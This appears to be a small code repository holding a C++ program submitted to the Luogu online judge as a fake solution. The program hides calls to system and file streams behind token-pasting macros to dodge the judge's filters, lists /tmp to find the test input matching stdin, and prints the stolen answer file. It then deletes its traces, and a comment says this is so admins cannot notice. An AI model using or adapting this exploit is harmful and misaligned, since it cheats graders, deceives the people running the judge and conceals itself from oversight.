├── README.md
├── JudgeHacker_Luogu.cpp
└── LICENSE


/README.md:
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1 | 退役了。
2 | 


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/JudgeHacker_Luogu.cpp:
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  1 | #define LUOGU 1
  2 | 
  3 | #include <cstdlib>
  4 | #include <string>
  5 | #include <iostream>
  6 | #include <fstream>
  7 | #include <sstream>
  8 | #include <stdexcept>
  9 | 
 10 | #if LUOGU
 11 | #define LG_KKK(X, Y) X##Y
 12 | #define LG_CZ(A, B, C) A##B##C
 13 | #define LG_LXL(A, B, C, D) A##B##C##D
 14 | #define LG_LTT(X) #X
 15 | #define LG_SYS LG_CZ(sy, st, em)
 16 | #define LG_FREOP LG_LXL(f, re, op, en)
 17 | #define LG_OP LG_KKK(op, en)
 18 | #define LG_IFSTR std::LG_CZ(if, str, eam)
 19 | #define LG_OFSTR std::LG_CZ(of, str, eam)
 20 | #endif
 21 | 
 22 | // check prefix
 23 | bool has_prefix(const std::string& __s, const std::string& __x)
 24 | {
 25 |     std::string::const_iterator i=__s.begin(), j=__x.begin();
 26 |     while (true)
 27 |     {
 28 |         if (j==__x.end()) return true;
 29 |         if (*i++==*j++) continue;
 30 |         break;
 31 |     }
 32 |     return false;
 33 | }
 34 | 
 35 | // check suffix
 36 | bool has_suffix(const std::string& __s, const std::string& __x)
 37 | {
 38 |     std::string::const_iterator i=__s.end(), j=__x.end();
 39 |     while (true)
 40 |     {
 41 |         if (j==__x.begin()) return true;
 42 |         if (*--i==*--j) continue;
 43 |         break;
 44 |     }
 45 |     return false;
 46 | }
 47 | 
 48 | #define GUGU_VERSION "2.1"
 49 | #define GUGU_FILETREE "/tmp/cz.txt"
 50 | #define GUGU_EXPORT "/tmp/cz.exp"
 51 | #define GUGU_LOG "/tmp/cz.log"
 52 | #define GUGU_SAMPLE 1024
 53 | 
 54 | std::string input;
 55 | std::string ans;
 56 | 
 57 | // output log
 58 | void logex(const std::string& s)
 59 | {
 60 |     LG_OFSTR fout(GUGU_LOG);
 61 |     fout << "GUGU v" GUGU_VERSION << '\n';
 62 |     fout << s << '\n';
 63 |     exit(0);
 64 | }
 65 | 
 66 | // get file tree
 67 | std::string file_tree()
 68 | {
 69 |     // generate file tree
 70 |     LG_SYS("ls -a -R /tmp > " GUGU_FILETREE);
 71 | 
 72 |     std::string s;
 73 | 
 74 |     // read file tree
 75 |     {
 76 |         LG_IFSTR fin(GUGU_FILETREE);
 77 |         char ch;
 78 |         while (true)
 79 |         {
 80 |             ch = fin.get();
 81 |             if (!fin) break;
 82 |             s += ch;
 83 |         }
 84 |     }
 85 | 
 86 |     return s;
 87 | }
 88 | 
 89 | // generate file list
 90 | std::string gen_list(const std::string& tree)
 91 | {
 92 |     std::istringstream ss(tree);
 93 |     std::string s;
 94 | 
 95 |     // ignore files just in /tmp, not in its child directories
 96 |     while (true)
 97 |     {
 98 |         std::getline(ss, s);
 99 |         if (!ss) logex("gugu: list generation failed");
100 |         if (has_prefix(s, "/tmp/")) break;
101 |     }
102 | 
103 |     // push back first directory
104 |     std::string dir = s;
105 |     dir.back() = '/';
106 |     std::string ret;
107 | 
108 |     // generate list from tree
109 |     while (true)
110 |     {
111 |         std::getline(ss, s);
112 | 
113 |         if (!ss) break;
114 | 
115 |         // ignore virtual directory
116 |         if (s == "." || s == "..")
117 |             continue;
118 | 
119 |         // find directory
120 |         if (has_prefix(s, "/tmp/"))
121 |         {
122 |             dir = s;
123 |             dir.back() = '/';
124 |             continue;
125 |         }
126 | 
127 |         // ignore runtime directory
128 |         if (!has_prefix(dir, "/tmp/runtime/"))
129 |             ret += (dir + s + '\n');
130 |     }
131 | 
132 |     return ret;
133 | }
134 | 
135 | // compare input
136 | bool compare(const std::string& x)
137 | {
138 |     std::string s;
139 | 
140 |     // get input from file
141 |     {
142 |         LG_IFSTR fin(x);
143 |         char ch;
144 |         for (size_t i = 0; i < GUGU_SAMPLE; ++i)
145 |         {
146 |             ch = fin.get();
147 |             if (!fin) break;
148 |             s += ch;
149 |         }
150 |     }
151 | 
152 |     return s == input;
153 | }
154 | 
155 | // steal answer
156 | void steal()
157 | {
158 |     // get file list
159 |     std::string list = gen_list(file_tree());
160 | 
161 |     LG_OFSTR fout(GUGU_EXPORT);
162 |     std::istringstream ss(list);
163 |     std::string s;
164 | 
165 |     while (true)
166 |     {
167 |         std::getline(ss, s);
168 |         if (!ss) break;
169 |         fout << s << ':';
170 |         LG_IFSTR fin(s);
171 | 
172 |         // file not matched
173 |         if (!fin)
174 |         {
175 |             fout << " gugugu\n";
176 |             continue;
177 |         }
178 | 
179 |         fout << '\n';
180 | 
181 |         // match file
182 |         {
183 |             if (has_suffix(s, ".in") && compare(s))
184 |             {
185 |                 // remove "in"
186 |                 s.pop_back(); s.pop_back();
187 | 
188 |                 // answer file has suffix ".out"
189 |                 std::string tmp = s + "out";
190 |                 if (LG_IFSTR(tmp))
191 |                 {
192 |                     ans = tmp;
193 |                     return;
194 |                 }
195 | 
196 |                 // answer file has suffix ".ans"
197 |                 tmp = s + "ans";
198 |                 if (LG_IFSTR(tmp))
199 |                 {
200 |                     ans = tmp;
201 |                     return;
202 |                 }
203 | 
204 |                 logex("gugu: answer not found");
205 |             }
206 |         }
207 | 
208 |         fout << '\n';
209 |     }
210 | }
211 | 
212 | // initialize input from std::cin
213 | void initialize()
214 | {
215 |     char ch;
216 |     for (size_t i = 0; i < GUGU_SAMPLE; ++i)
217 |     {
218 |         ch = std::cin.get();
219 |         if (!std::cin) break;
220 |         input += ch;
221 |     }
222 | }
223 | 
224 | // output answer
225 | void answer()
226 | {
227 |     LG_IFSTR fin(ans);
228 |     char ch;
229 |     while (true)
230 |     {
231 |         ch = fin.get();
232 |         if (!fin) break;
233 |         std::cout << ch;
234 |     }
235 | }
236 | 
237 | // delete temporary files
238 | // so admins cannot realize that we are stealing answers
239 | void finalize()
240 | {
241 |     LG_SYS("rm -f " GUGU_FILETREE);
242 |     LG_SYS("rm -f " GUGU_EXPORT);
243 |     LG_SYS("rm -f " GUGU_LOG);
244 | }
245 | 
246 | // main program
247 | int main()
248 | {
249 |     initialize();
250 |     steal();
251 |     answer();
252 |     finalize();
253 |     return 0;
254 | }
255 | 


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